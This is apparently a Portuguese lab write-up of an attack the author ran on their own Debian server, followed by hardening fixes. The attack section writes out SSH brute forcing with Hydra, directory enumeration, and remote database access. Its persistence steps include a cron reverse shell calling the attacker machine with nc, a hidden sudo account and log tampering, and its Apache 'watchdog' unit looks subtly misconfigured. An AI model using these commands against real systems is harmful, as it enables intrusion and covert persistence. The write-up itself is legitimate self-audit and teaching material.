Introdução:
Este não é um relato de ficção ou um exercício teórico. É um ataque real e controlado, conduzido por mim contra meu próprio servidor Debian, utilizando técnicas amplamente conhecidas no cenário ofensivo. O objetivo: mapear brechas reais e aplicar correções com precisão cirúrgica. Segurança não se constrói com achismo, mas com evidência prática.
Estrutura do laboratório
Servidor Alvo (Debian 12):
- Apache 2.4
- PHP 8.2 via FPM
- MariaDB 10.11
- SSH ativo na porta 22
- Sem firewall
- Sem fail2ban
- Backup de banco exposto em
/var/www/html/backup
- Acesso root via senha (proposital para o teste)
Máquina Atacante (Kali Linux):
- Nmap
- Hydra
- Gobuster
- Medusa
- mysql-client
- John the Ripper
Fase 1 – Reconhecimento
1.1 – Escaneamento de portas
nmap -sV -Pn -T4 192.168.0.10
Resultado:
22/tcp open ssh OpenSSH 9.2p1 Debian
80/tcp open http Apache httpd 2.4.57 ((Debian))
3306/tcp open mysql MariaDB 10.11.2-MariaDB-1
Problemas identificados:
- SSH aberto como root com senha
- MariaDB escutando na rede
- Apache servindo arquivos sensíveis
Fase 2 – Ataque
2.1 – Força bruta SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.10
Senha descoberta: 123456
2.2 – Enumeração de diretórios no Apache
gobuster dir -u http://192.168.0.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Descobertas:
/backup (Status: 200)
/phpinfo.php (Status: 200)
2.3 – Vazamento de banco de dados
- A URL
http://192.168.0.10/backup/db.sql.zip
expunha todo o schema. - Senhas em MD5 na tabela
users
.
2.4 – Acesso remoto ao banco
mysql -h 192.168.0.10 -u root -p
Acesso autorizado via rede. Isso por si só é um desastre em ambientes reais.
Fase 3 – Escalada de privilégios e persistência
3.1 – Backdoor via cron
echo "*/5 * * * * root nc -e /bin/bash 192.168.0.9 4444" >> /etc/cron.d/ssh_backdoor
3.2 – Criação de usuário oculto
useradd -M -s /bin/bash -G sudo sys_backup
echo 'sys_backup:Zxc123!@#' | chpasswd
3.3 – Manipulação de logs
sed -i 's/create 640 syslog adm/create 640 root root/' /etc/logrotate.d/rsyslog
Fase 4 – Correções
4.1 – Endurecimento do SSH
Arquivo: /etc/ssh/sshd_config
Port 2222
PermitRootLogin no
PasswordAuthentication no
systemctl restart ssh
4.2 – Firewall com iptables
apt install iptables-persistent -y
iptables -F
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -j DROP
netfilter-persistent save
4.3 – Proteção no Apache
Desabilitar listagem de diretórios
<Directory /var/www/>
Options -Indexes +FollowSymLinks
AllowOverride All
</Directory>
Remover arquivos sensíveis
rm -rf /var/www/html/backup
rm /var/www/html/phpinfo.php
Restringir funções PHP perigosas
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec
4.4 – Restrição de escuta do MariaDB
Arquivo: /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 127.0.0.1
SQL local:
DELETE FROM mysql.user WHERE User='';
UPDATE mysql.user SET plugin='unix_socket' WHERE User='root';
FLUSH PRIVILEGES;
Fase 5 – Monitoramento com watchdog local
5.1 – Watchdog para Apache
Arquivo: /etc/systemd/system/apache-watchdog.service
[Unit]
Description=Watchdog do Apache
After=network.target
[Service]
ExecStart=/usr/sbin/apachectl -k start
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
systemctl enable apache-watchdog
systemctl start apache-watchdog
Conclusão
A segurança do seu servidor não é definida pelas atualizações automáticas. É definida pela sua capacidade de pensar como um atacante e corrigir o que você mesmo exploraria. O tempo entre um servidor vulnerável e um ataque automatizado na internet é de minutos. A diferença entre o caos e a integridade está no quanto você testa antes.
A verdadeira maturidade técnica é se autoauditar como se fosse um adversário.
Este é o espírito da invasão do bem. Que ela se torne rotina, não exceção.